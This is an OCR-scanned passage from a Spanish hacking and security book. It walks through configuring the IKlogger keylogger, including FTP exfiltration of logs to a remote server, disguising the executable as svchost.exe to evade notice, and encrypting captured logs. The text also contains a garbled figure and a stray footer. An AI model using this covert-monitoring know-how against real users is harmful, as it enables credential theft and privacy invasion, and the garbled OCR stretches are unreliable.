AI descomprimir el paquete, ej ecute Editor.exe. Aparecera una ventana
con la opcion de crear un server. Elij a esta y aparecera una interfase bastante
amigable y en espafiol para crear el keylogger servidor. El programa tiene dos
maneras deguardar los logs. Una es mandarlo via ftpaunservidor remoto. Esto es
muy util en el caso queno setenga un acceso al ordenador local. La otramanera es
guardar los ficheros localmente en el ordenador vigilado.
Dentro de las opciones que ofrece, esta la posibilidad de elegir donde se
instala y con que nombre de ej ecutable. Por defecto se guarda en
%Windir% \svchost.exe para pasar desapercibido. El usuario cornun y corriente
no sabra que es esto. Mientras que la mayoria de los keylogger guarda todo en
ficheros de texto, este tiene la posibilidad de guardar los datos capturados en
formatohtml para una facil lectura.
Donde mas brilla Ildogger, sin embargo, es en lahabilidad de encriptar los
datos capturados. De esta manera si pillan el fichero log, no sabran deque setrata.
Iklogger viene con otra herramienta para la visualizacion de los ficheros log
encriptados. Una ultima caracteristica de este keylogger es que puede capturar
imagenes de la zona cliqueada en la pantalla. Esto se ocupa cuando los controles
son graficos y se quiere monitorizar que ha estado haciendo el usuario. Para no
estar sacando demasiadas imagenes, se le instruye a Iklogger de que ventanas se
quieresaear una foto euando sehaee clieen el mouse.
========~====~/
-------- ----
138 HACKING Y SEGURIDADENINTERNET RA-MA
oGuardar logs en PCvigilado
Carpeta del FTP I/IKLogs/%userNameo/oo!
Enviar logs (ada 100: 03: 0 Idias: horas: min
.. __ ,w__ ",-, '. _'.'~
I
I
? User r- I
, L 11 I
~12=1 =1;-?-: [=Te=st=F=T~pJ 1 Pass ~I ========!11 !
'------,-->-~.- ... -->
~jl~
I!::~Ill
, .RI'"
I"'~
: 1,,1
I......
Figura 3-23. Configuraci6n de IKlogger
Como hemos podido ver en este capitulo laimaginacion ylacreatividad de
tecnicas depenetracion asistemas son practicamente infinitas. Esto nos lleva auna
conclusion: todo esfuerzo para proteger nuestros datos sensibles es importante y
ningun aplicativo de seguridad es automatico. La guerra entre los intrusos a
sistemas y los fabricantes de aplicativos de seguridad no ha hecho mas que
comenzar.
I- ,

Anda mungkin juga menyukai